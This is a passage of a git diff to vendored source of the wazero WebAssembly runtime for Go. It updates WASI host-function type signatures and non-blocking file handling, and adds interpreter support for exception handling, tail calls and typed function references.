https://en.wikipedia.org/wiki/Null-terminated_string -var argsGet = newHostFunc(wasip1.ArgsGetName, argsGetFn, []api.ValueType{i32, i32}, "argv", "argv_buf") +var argsGet = newHostFunc(wasip1.ArgsGetName, argsGetFn, []wasm.ValueType{i32, i32}, "argv", "argv_buf") func argsGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys @@ -78,7 +78,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { // See argsGet // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#args_sizes_get // See https://en.wikipedia.org/wiki/Null-terminated_string -var argsSizesGet = newHostFunc(wasip1.ArgsSizesGetName, argsSizesGetFn, []api.ValueType{i32, i32}, "result.argc", "result.argv_len") +var argsSizesGet = newHostFunc(wasip1.ArgsSizesGetName, argsSizesGetFn, []wasm.ValueType{i32, i32}, "result.argc", "result.argv_len") func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go index 31af9107..8af31114 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go @@ -37,7 +37,7 @@ import ( // Note: This is similar to `clock_getres` in POSIX. // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-clock_res_getid-clockid---errno-timestamp // See https://linux.die.net/man/3/clock_getres -var clockResGet = newHostFunc(wasip1.ClockResGetName, clockResGetFn, []api.ValueType{i32, i32}, "id", "result.resolution") +var clockResGet = newHostFunc(wasip1.ClockResGetName, clockResGetFn, []wasm.ValueType{i32, i32}, "id", "result.resolution") func clockResGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys @@ -90,7 +90,7 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno // Note: This is similar to `clock_gettime` in POSIX. // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-clock_time_getid-clockid-precision-timestamp---errno-timestamp // See https://linux.die.net/man/3/clock_gettime -var clockTimeGet = newHostFunc(wasip1.ClockTimeGetName, clockTimeGetFn, []api.ValueType{i32, i64, i32}, "id", "precision", "result.timestamp") +var clockTimeGet = newHostFunc(wasip1.ClockTimeGetName, clockTimeGetFn, []wasm.ValueType{i32, i64, i32}, "id", "precision", "result.timestamp") func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go index ec8df708..dd99f7b6 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go @@ -41,7 +41,7 @@ import ( // See environSizesGet // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#environ_get // See https://en.wikipedia.org/wiki/Null-terminated_string -var environGet = newHostFunc(wasip1.EnvironGetName, environGetFn, []api.ValueType{i32, i32}, "environ", "environ_buf") +var environGet = newHostFunc(wasip1.EnvironGetName, environGetFn, []wasm.ValueType{i32, i32}, "environ", "environ_buf") func environGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys @@ -81,7 +81,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno // See environGet // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#environ_sizes_get // and https://en.wikipedia.org/wiki/Null-terminated_string -var environSizesGet = newHostFunc(wasip1.EnvironSizesGetName, environSizesGetFn, []api.ValueType{i32, i32}, "result.environc", "result.environv_len") +var environSizesGet = newHostFunc(wasip1.EnvironSizesGetName, environSizesGetFn, []wasm.ValueType{i32, i32}, "result.environc", "result.environv_len") func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go index 150f75cc..e873ba65 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go @@ -115,7 +115,7 @@ func fdAllocateFn(_ context.Context, mod api.Module, params []uint64) experiment // Note: This is similar to `close` in POSIX. // See https://github.com/WebAssembly/WASI/blob/main/phases/snapshot/docs.md#fd_close // and https://linux.die.net/man/3/close -var fdClose = newHostFunc(wasip1.FdCloseName, fdCloseFn, []api.ValueType{i32}, "fd") +var fdClose = newHostFunc(wasip1.FdCloseName, fdCloseFn, []wasm.ValueType{i32}, "fd") func fdCloseFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -128,7 +128,7 @@ func fdCloseFn(_ context.Context, mod api.Module, params []uint64) experimentals // the data of a file to disk. // // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_datasyncfd-fd---errno -var fdDatasync = newHostFunc(wasip1.FdDatasyncName, fdDatasyncFn, []api.ValueType{i32}, "fd") +var fdDatasync = newHostFunc(wasip1.FdDatasyncName, fdDatasyncFn, []wasm.ValueType{i32}, "fd") func fdDatasyncFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -179,7 +179,7 @@ func fdDatasyncFn(_ context.Context, mod api.Module, params []uint64) experiment // well as additional fields. // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fdstat // and https://linux.die.net/man/3/fsync -var fdFdstatGet = newHostFunc(wasip1.FdFdstatGetName, fdFdstatGetFn, []api.ValueType{i32, i32}, "fd", "result.stat") +var fdFdstatGet = newHostFunc(wasip1.FdFdstatGetName, fdFdstatGetFn, []wasm.ValueType{i32, i32}, "fd", "result.stat") // fdFdstatGetFn cannot currently use proxyResultParams because fdstat is larger // than api.ValueTypeI64 (i64 == 8 bytes, but fdstat is 24). @@ -206,7 +206,7 @@ func fdFdstatGetFn(_ context.Context, mod api.Module, params []uint64) experimen fdflags |= wasip1.FD_APPEND } - if f.File.IsNonblock() { + if isNonblock(f.File) { fdflags |= wasip1.FD_NONBLOCK } @@ -311,9 +311,14 @@ func fdFdstatSetFlagsFn(_ context.Context, mod api.Module, params []uint64) expe return experimentalsys.EBADF } else { nonblock := wasip1.FD_NONBLOCK&wasiFlag != 0 - errno := f.File.SetNonblock(nonblock) - if errno != 0 { - return errno + if pf, ok := f.File.(experimentalsys.PollableFile); ok { + if errno := pf.SetNonblock(nonblock); errno != 0 { + return errno + } + } else if isDir, errno := f.File.IsDir(); errno == 0 && isDir { + return experimentalsys.EISDIR + } else if nonblock { + return experimentalsys.ENOSYS } if stat, err := f.File.Stat(); err == 0 && stat.Mode.IsRegular() { // For normal files, proceed to apply an append flag. @@ -381,7 +386,7 @@ var fdFdstatSetRights = stubFunction( // Note: This is similar to `fstat` in POSIX. // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_filestat_getfd-fd---errno-filestat // and https://linux.die.net/man/3/fstat -var fdFilestatGet = newHostFunc(wasip1.FdFilestatGetName, fdFilestatGetFn, []api.ValueType{i32, i32}, "fd", "result.filestat") +var fdFilestatGet = newHostFunc(wasip1.FdFilestatGetName, fdFilestatGetFn, []wasm.ValueType{i32, i32}, "fd", "result.filestat") // fdFilestatGetFn cannot currently use proxyResultParams because filestat is // larger than api.ValueTypeI64 (i64 == 8 bytes, but filestat is 64). @@ -559,7 +564,7 @@ func toTimes(walltime func() int64, atim, mtim int64, fstFlags uint16) (int64, i // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_preadfd-fd-iovs-iovec_array-offset-filesize---errno-size var fdPread = newHostFunc( wasip1.FdPreadName, fdPreadFn, - []api.ValueType{i32, i32, i32, i64, i32}, + []wasm.ValueType{i32, i32, i32, i64, i32}, "fd", "iovs", "iovs_len", "offset", "result.nread", ) @@ -598,7 +603,7 @@ func fdPreadFn(_ context.Context, mod api.Module, params []uint64) experimentals // // See fdPrestatDirName and // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#prestat -var fdPrestatGet = newHostFunc(wasip1.FdPrestatGetName, fdPrestatGetFn, []api.ValueType{i32, i32}, "fd", "result.prestat") +var fdPrestatGet = newHostFunc(wasip1.FdPrestatGetName, fdPrestatGetFn, []wasm.ValueType{i32, i32}, "fd", "result.prestat") func fdPrestatGetFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -611,7 +616,7 @@ func fdPrestatGetFn(_ context.Context, mod api.Module, params []uint64) experime // Upper 32-bits are zero because... // * Zero-value 8-bit tag, and 3-byte zero-value padding - prestat := uint64(len(name) << 32) + prestat := uint64(len(name)) << 32 if !mod.Memory().WriteUint64Le(resultPrestat, prestat) { return experimentalsys.EFAULT } @@ -650,7 +655,7 @@ func fdPrestatGetFn(_ context.Context, mod api.Module, params []uint64) experime // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fd_prestat_dir_name var fdPrestatDirName = newHostFunc( wasip1.FdPrestatDirNameName, fdPrestatDirNameFn, - []api.ValueType{i32, i32, i32}, + []wasm.ValueType{i32, i32, i32}, "fd", "result.path", "result.path_len", ) @@ -682,7 +687,7 @@ func fdPrestatDirNameFn(_ context.Context, mod api.Module, params []uint64) expe // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_pwritefd-fd-iovs-ciovec_array-offset-filesize---errno-size var fdPwrite = newHostFunc( wasip1.FdPwriteName, fdPwriteFn, - []api.ValueType{i32, i32, i32, i64, i32}, + []wasm.ValueType{i32, i32, i32, i64, i32}, "fd", "iovs", "iovs_len", "offset", "result.nwritten", ) @@ -741,7 +746,7 @@ func fdPwriteFn(_ context.Context, mod api.Module, params []uint64) experimental // and https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fd_read var fdRead = newHostFunc( wasip1.FdReadName, fdReadFn, - []api.ValueType{i32, i32, i32, i32}, + []wasm.ValueType{i32, i32, i32, i32}, "fd", "iovs", "iovs_len", "result.nread", ) @@ -1108,7 +1113,7 @@ func fdRenumberFn(_ context.Context, mod api.Module, params []uint64) experiment // and https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fd_seek var fdSeek = newHostFunc( wasip1.FdSeekName, fdSeekFn, - []api.ValueType{i32, i64, i32, i32}, + []wasm.ValueType{i32, i64, i32, i32}, "fd", "offset", "whence", "result.newoffset", ) @@ -1135,7 +1140,7 @@ func fdSeekFn(_ context.Context, mod api.Module, params []uint64) experimentalsy // and metadata of a file to disk. // // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_syncfd-fd---errno -var fdSync = newHostFunc(wasip1.FdSyncName, fdSyncFn, []api.ValueType{i32}, "fd") +var fdSync = newHostFunc(wasip1.FdSyncName, fdSyncFn, []wasm.ValueType{i32}, "fd") func fdSyncFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -1153,7 +1158,7 @@ func fdSyncFn(_ context.Context, mod api.Module, params []uint64) experimentalsy // offset of a file descriptor. // // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_tellfd-fd---errno-filesize -var fdTell = newHostFunc(wasip1.FdTellName, fdTellFn, []api.ValueType{i32, i32}, "fd", "result.offset") +var fdTell = newHostFunc(wasip1.FdTellName, fdTellFn, []wasm.ValueType{i32, i32}, "fd", "result.offset") func fdTellFn(ctx context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd := params[0] @@ -1225,7 +1230,7 @@ func fdTellFn(ctx context.Context, mod api.Module, params []uint64) experimental // and https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#fd_write var fdWrite = newHostFunc( wasip1.FdWriteName, fdWriteFn, - []api.ValueType{i32, i32, i32, i32}, + []wasm.ValueType{i32, i32, i32, i32}, "fd", "iovs", "iovs_len", "result.nwritten", ) @@ -1385,7 +1390,7 @@ func pathCreateDirectoryFn(_ context.Context, mod api.Module, params []uint64) e // and https://linux.die.net/man/2/fstatat var pathFilestatGet = newHostFunc( wasip1.PathFilestatGetName, pathFilestatGetFn, - []api.ValueType{i32, i32, i32, i32, i32}, + []wasm.ValueType{i32, i32, i32, i32, i32}, "fd", "flags", "path", "path_len", "result.filestat", ) @@ -1566,7 +1571,7 @@ func pathLinkFn(_ context.Context, mod api.Module, params []uint64) experimental // See https://github.com/WebAssembly/WASI/blob/main/phases/snapshot/docs.md#path_open var pathOpen = newHostFunc( wasip1.PathOpenName, pathOpenFn, - []api.ValueType{i32, i32, i32, i32, i32, i64, i64, i32, i32}, + []wasm.ValueType{i32, i32, i32, i32, i32, i64, i64, i32, i32}, "fd", "dirflags", "path", "path_len", "oflags", "fs_rights_base", "fs_rights_inheriting", "fdflags", "result.opened_fd", ) diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go index 4f96af2d..e9ce6730 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go @@ -6,7 +6,6 @@ import ( "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" internalsys "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" @@ -39,7 +38,7 @@ import ( // See https://linux.die.net/man/3/poll var pollOneoff = newHostFunc( wasip1.PollOneoffName, pollOneoffFn, - []api.ValueType{i32, i32, i32, i32}, + []wasm.ValueType{i32, i32, i32, i32}, "in", "out", "nsubscriptions", "result.nevents", ) @@ -132,7 +131,7 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno evt.errno = wasip1.ErrnoBadf writeEvent(outBuf[outOffset:], evt) nevents++ - } else if fd != internalsys.FdStdin && file.File.IsNonblock() { + } else if fd != internalsys.FdStdin && isNonblock(file.File) { writeEvent(outBuf[outOffset:], evt) nevents++ } else { @@ -174,17 +173,19 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno if !ok { return sys.EBADF } - // Wait for the timeout to expire, or for some data to become available on Stdin. - if stdinReady, errno := stdin.File.Poll(fsapi.POLLIN, int32(timeout.Milliseconds())); errno != 0 { - return errno - } else if stdinReady { - // stdin has data ready to for reading, write back all the events - for i := range blockingStdinSubs { - evt := blockingStdinSubs[i] - evt.errno = 0 - writeEvent(outBuf[nevents*32:], evt) - nevents++ + // Wait for the timeout to expire, or for some data to become available on Stdin. + if p, ok := stdin.File.(sys.Pollable); ok { + if stdinReady, errno := p.Poll(sys.POLLIN, int32(timeout.Milliseconds())); errno != 0 { + return errno + } else if stdinReady { + // stdin has data ready to for reading, write back all the events + for i := range blockingStdinSubs { + evt := blockingStdinSubs[i] + evt.errno = 0 + writeEvent(outBuf[nevents*32:], evt) + nevents++ + } } } @@ -226,6 +227,15 @@ func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) { } } +// isNonblock returns true if the file implements PollableFile and is in +// non-blocking mode. +func isNonblock(f sys.File) bool { + if pf, ok := f.(sys.PollableFile); ok { + return pf.IsNonblock() + } + return false +} + // writeEvent writes the event corresponding to the processed subscription. // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct func writeEvent(outBuf []byte, evt *event) { diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/proc.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/proc.go index cb0ab487..437c3b6c 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/proc.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/proc.go @@ -21,7 +21,7 @@ import ( var procExit = &wasm.HostFunc{ ExportName: wasip1.ProcExitName, Name: wasip1.ProcExitName, - ParamTypes: []api.ValueType{i32}, + ParamTypes: []wasm.ValueType{i32}, ParamNames: []string{"rval"}, Code: wasm.Code{GoFunc: api.GoModuleFunc(procExitFn)}, } @@ -41,4 +41,4 @@ func procExitFn(ctx context.Context, mod api.Module, params []uint64) { // procRaise is stubbed and will never be supported, as it was removed. // // See https://github.com/WebAssembly/WASI/pull/136 -var procRaise = stubFunction(wasip1.ProcRaiseName, []api.ValueType{i32}, "sig") +var procRaise = stubFunction(wasip1.ProcRaiseName, []wasm.ValueType{i32}, "sig") diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go index e4d7ccee..ccd08745 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go @@ -34,7 +34,7 @@ import ( // buf --^ // // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-random_getbuf-pointeru8-bufLen-size---errno -var randomGet = newHostFunc(wasip1.RandomGetName, randomGetFn, []api.ValueType{i32, i32}, "buf", "buf_len") +var randomGet = newHostFunc(wasip1.RandomGetName, randomGetFn, []wasm.ValueType{i32, i32}, "buf", "buf_len") func randomGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go index 4ef41d50..1d1ded09 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go @@ -269,7 +269,7 @@ func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offset func newHostFunc( name string, goFunc wasiFunc, - paramTypes []api.ValueType, + paramTypes []wasm.ValueType, paramNames ...string, ) *wasm.HostFunc { return &wasm.HostFunc{ @@ -277,7 +277,7 @@ func newHostFunc( Name: name, ParamTypes: paramTypes, ParamNames: paramNames, - ResultTypes: []api.ValueType{i32}, + ResultTypes: []wasm.ValueType{i32}, ResultNames: []string{"errno"}, Code: wasm.Code{GoFunc: goFunc}, } @@ -305,7 +305,7 @@ func stubFunction(name string, paramTypes []wasm.ValueType, paramNames ...string Name: name, ParamTypes: paramTypes, ParamNames: paramNames, - ResultTypes: []api.ValueType{i32}, + ResultTypes: []wasm.ValueType{i32}, ResultNames: []string{"errno"}, Code: wasm.Code{ GoFunc: api.GoModuleFunc(func(_ context.Context, _ api.Module, stack []uint64) { stack[0] = uint64(wasip1.ErrnoNosys) }), diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/compiler.go b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/compiler.go index 4e20e4b2..fb4d30b6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/compiler.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/compiler.go @@ -21,6 +21,7 @@ const ( controlFrameKindLoop controlFrameKindIfWithElse controlFrameKindIfWithoutElse + controlFrameKindTryTable ) type ( @@ -57,7 +58,8 @@ func (c *controlFrame) asLabel() label { case controlFrameKindFunction: return newLabel(labelKindReturn, 0) case controlFrameKindIfWithElse, - controlFrameKindIfWithoutElse: + controlFrameKindIfWithoutElse, + controlFrameKindTryTable: return newLabel(labelKindContinuation, c.frameID) } panic(fmt.Sprintf("unreachable: a bug in interpreterir implementation: %v", c.kind)) @@ -187,6 +189,8 @@ type compiler struct { funcs []uint32 // globals holds the global types for all declared globals in the module where the target function exists. globals []wasm.GlobalType + // tags holds the type indexes for all declared tags in the module where the target function exists. + tags []uint32 // needSourceOffset is true if this module requires DWARF based stack trace. needSourceOffset bool @@ -254,6 +258,9 @@ type compilationResult struct { LabelCallers map[label]uint32 // UsesMemory is true if this function might use memory. UsesMemory bool + // PendingExceptionTable holds unresolved exception table entries, built during + // compilation. Labels are resolved to final PCs in lowerIR. + PendingExceptionTable []pendingExceptionTableEntry // The following fields are per-module values, not per-function. @@ -276,7 +283,7 @@ type compilationResult struct { // newCompiler returns the new *compiler for the given parameters. // Use compiler.Next function to get compilation result per function. func newCompiler(enabledFeatures api.CoreFeatures, callFrameStackSizeInUint64 int, module *wasm.Module, ensureTermination bool) (*compiler, error) { - functions, globals, mem, tables, err := module.AllDeclarations() + functions, globals, mem, tables, tags, err := module.AllDeclarations() if err != nil { return nil, err } @@ -313,12 +320,14 @@ func newCompiler(enabledFeatures api.CoreFeatures, callFrameStackSizeInUint64 in }, globals: globals, funcs: functions, + tags: tags, types: types, ensureTermination: ensureTermination, br: bytes.NewReader(nil), funcTypeToSigs: funcTypeToIRSignatures{ indirectCalls: make([]*signature, len(types)), directCalls: make([]*signature, len(types)), + callRefCalls: make([]*signature, len(types)), wasmTypes: types, }, needSourceOffset: module.DWARFLines != nil, @@ -336,6 +345,7 @@ func (c *compiler) Next() (*compilationResult, error) { c.result.Operations = c.result.Operations[:0] c.result.IROperationSourceOffsetsInWasmBinary = c.result.IROperationSourceOffsetsInWasmBinary[:0] c.result.UsesMemory = false + c.result.PendingExceptionTable = c.result.PendingExceptionTable[:0] // Clears the existing entries in LabelCallers. for frameID := uint32(0); frameID <= c.currentFrameID; frameID++ { for k := labelKind(0); k < labelKindNum; k++ { @@ -667,7 +677,8 @@ operatorSwitch: // Initiate the continuation. c.emit(newOperationLabel(continuationLabel)) case controlFrameKindBlockWithContinuationLabel, - controlFrameKindIfWithElse: + controlFrameKindIfWithElse, + controlFrameKindTryTable: continuationLabel := newLabel(labelKindContinuation, frame.frameID) c.result.LabelCallers[continuationLabel]++ c.emit(dropOp) @@ -800,6 +811,95 @@ operatorSwitch: // That means subsequent instructions in the current control frame are "unreachable" // and can be safely removed. c.markUnreachable() + case wasm.OpcodeThrow: + if c.unreachableState.on { + break operatorSwitch + } + // Pop the tag's param values from the stack. + if index < uint32(len(c.tags)) { + tagType := &c.types[c.tags[index]] + for i := len(tagType.Params) - 1; i >= 0; i-- { + c.stackPop() + } + } + c.emit(newOperationThrow(index)) + c.markUnreachable() + case wasm.OpcodeThrowRef: + if c.unreachableState.on { + break operatorSwitch + } + // Pop the exnref from the stack. + c.stackPop() + c.emit(newOperationThrowRef()) + c.markUnreachable() + case wasm.OpcodeTryTable: + c.br.Reset(c.body[c.pc+1:]) + bt, num, err := wasm.DecodeBlockType(c.types, c.br, c.enabledFeatures) + if err != nil { + return fmt.Errorf("reading block type for try_table instruction: %w", err) + } + c.pc += num + + if c.unreachableState.on { + c.unreachableState.depth++ + // Still need to skip the catch clause bytes. + c.pc++ + catchCount, catchNum, err := leb128.LoadUint32(c.body[c.pc:]) + if err != nil { + return fmt.Errorf("reading catch count for try_table: %w", err) + } + c.pc += catchNum - 1 + for i := uint32(0); i < catchCount; i++ { + if _, _, _, err := c.parseCatchClause(); err != nil { + return err + } + } + break operatorSwitch + } + + // Read catch clause count. + c.pc++ + catchCount, catchNum, err := leb128.LoadUint32(c.body[c.pc:]) + if err != nil { + return fmt.Errorf("reading catch count for try_table: %w", err) + } + c.pc += catchNum - 1 + + // Parse catch clauses. + var pendingClauses []pendingCatchClause + for i := uint32(0); i < catchCount; i++ { + kind, tagIdx, labelIdx, err := c.parseCatchClause() + if err != nil { + return err + } + // Resolve the label from the control frame stack. + targetFrame := c.controlFrames.get(int(labelIdx)) + targetFrame.ensureContinuation() + targetLabel := targetFrame.asLabel() + c.result.LabelCallers[targetLabel]++ + pendingClauses = append(pendingClauses, pendingCatchClause{ + kind: kind, + tagIndex: tagIdx, + targetLabel: targetLabel, + targetStackDepth: targetFrame.originalStackLenWithoutParamUint64, + }) + } + + // Create a control frame for the try_table block. + frameID := c.nextFrameID() + c.result.PendingExceptionTable = append(c.result.PendingExceptionTable, pendingExceptionTableEntry{ + startOpIndex: len(c.result.Operations), + continuationFrameID: frameID, + clauses: pendingClauses, + }) + frame := controlFrame{ + frameID: frameID, + originalStackLenWithoutParam: len(c.stack) - len(bt.Params), + originalStackLenWithoutParamUint64: c.stackLenInUint64 - bt.ParamNumInUint64, + kind: controlFrameKindTryTable, + blockType: bt, + } + c.controlFrames.push(frame) case wasm.OpcodeCall: c.emit( newOperationCall(index), @@ -814,6 +914,7 @@ operatorSwitch: c.emit( newOperationCallIndirect(typeIndex, tableIndex), ) + case wasm.OpcodeDrop: r := inclusiveRange{Start: 0, End: 0} if peekValueType == unsignedTypeV128 { @@ -1615,7 +1716,18 @@ operatorSwitch: newOperationRefFunc(index), ) case wasm.OpcodeRefNull: - c.pc++ // Skip the type of reftype as every ref value is opaque pointer. + c.pc++ + switch reftype := c.body[c.pc]; wasm.ValueType(reftype) { + case wasm.ValueTypeFuncref, wasm.ValueTypeExternref, wasm.ValueTypeExnref: + // Abstract ref types are a single byte; already skipped. + default: + // Concrete type index encoded as LEB128; skip it. + _, num, err := leb128.LoadUint32(c.body[c.pc:]) + if err != nil { + return fmt.Errorf("failed to read type index for ref.null: %v", err) + } + c.pc += num - 1 + } c.emit( newOperationConstI64(0), ) @@ -3423,6 +3535,103 @@ operatorSwitch: default: return fmt.Errorf("unsupported atomic instruction in interpreterir: %s", wasm.AtomicInstructionName(atomicOp)) } + + case wasm.OpcodeTailCallReturnCall: + fdef := c.module.FunctionDefinition(index) + functionFrame := c.controlFrames.functionFrame() + // Currently we do not support imported functions, we treat them as regular calls. + // For details, see internal/engine/RATIONALE.md + if _, _, isImport := fdef.Import(); isImport { + c.emit(newOperationCall(index)) + dropOp := newOperationDrop(c.getFrameDropRange(functionFrame, false)) + + // Cleanup the stack and then jmp to function frame's continuation (meaning return). + c.emit(dropOp) + c.emit(newOperationBr(functionFrame.asLabel())) + } else { + c.emit(newOperationTailCallReturnCall(index)) + } + + // Return operation is stack-polymorphic, and mark the state as unreachable. + // That means subsequent instructions in the current control frame are "unreachable" + // and can be safely removed. + c.markUnreachable() + + case wasm.OpcodeTailCallReturnCallIndirect: + typeIndex := index + tableIndex, n, err := leb128.LoadUint32(c.body[c.pc+1:]) + if err != nil { + return fmt.Errorf("read target for br_table: %w", err) + } + c.pc += n + + functionFrame := c.controlFrames.functionFrame() + dropRange := c.getFrameDropRange(functionFrame, false) + c.emit(newOperationTailCallReturnCallIndirect(typeIndex, tableIndex, dropRange, functionFrame.asLabel())) + + // Return operation is stack-polymorphic, and mark the state as unreachable. + // That means subsequent instructions in the current control frame are "unreachable" + // and can be safely removed. + c.markUnreachable() + + case wasm.OpcodeCallRef: + c.emit(newOperationCallRef(index)) + + case wasm.OpcodeReturnCallRef: + functionFrame := c.controlFrames.functionFrame() + dropRange := c.getFrameDropRange(functionFrame, false) + c.emit(newOperationReturnCallRef(index, dropRange, functionFrame.asLabel())) + c.markUnreachable() + + case wasm.OpcodeRefAsNonNull: + c.emit(newOperationRefAsNonNull()) + + case wasm.OpcodeBrOnNull: + targetIndex, n, err := leb128.LoadUint32(c.body[c.pc+1:]) + if err != nil { + return fmt.Errorf("read the target for br_on_null: %w", err) + } + c.pc += n + + if c.unreachableState.on { + break operatorSwitch + } + + targetFrame := c.controlFrames.get(int(targetIndex)) + targetFrame.ensureContinuation() + drop := c.getFrameDropRange(targetFrame, false) + target := targetFrame.asLabel() + c.result.LabelCallers[target]++ + + continuationLabel := newLabel(labelKindHeader, c.nextFrameID()) + c.result.LabelCallers[continuationLabel]++ + c.emit(newOperationBrOnNull(target, continuationLabel, drop)) + c.emit(newOperationLabel(continuationLabel)) + // On fall-through (non-null), the ref is pushed back at runtime. + c.stackPush(unsignedTypeI64) + + case wasm.OpcodeBrOnNonNull: + targetIndex, n, err := leb128.LoadUint32(c.body[c.pc+1:]) + if err != nil { + return fmt.Errorf("read the target for br_on_non_null: %w", err) + } + c.pc += n + + if c.unreachableState.on { + break operatorSwitch + } + + targetFrame := c.controlFrames.get(int(targetIndex)) + targetFrame.ensureContinuation() + drop := c.getFrameDropRange(targetFrame, false) + target := targetFrame.asLabel() + c.result.LabelCallers[target]++ + + continuationLabel := newLabel(labelKindHeader, c.nextFrameID()) + c.result.LabelCallers[continuationLabel]++ + c.emit(newOperationBrOnNonNull(target, continuationLabel, drop)) + c.emit(newOperationLabel(continuationLabel)) + default: return fmt.Errorf("unsupported instruction in interpreterir: 0x%x", op) } @@ -3449,7 +3658,15 @@ func (c *compiler) applyToStack(opcode wasm.Opcode) (index uint32, err error) { wasm.OpcodeLocalSet, wasm.OpcodeLocalTee, wasm.OpcodeGlobalGet, - wasm.OpcodeGlobalSet: + wasm.OpcodeGlobalSet, + // tail-call proposal + 